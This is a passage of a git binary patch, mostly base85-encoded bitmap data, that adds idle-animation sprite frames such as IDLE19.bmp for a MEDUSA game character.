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 BqeB1y literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE19.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE19.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1474fe0eadd5ec3dda4445c1cabf12718f5e5390 GIT binary patch literal 18462 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 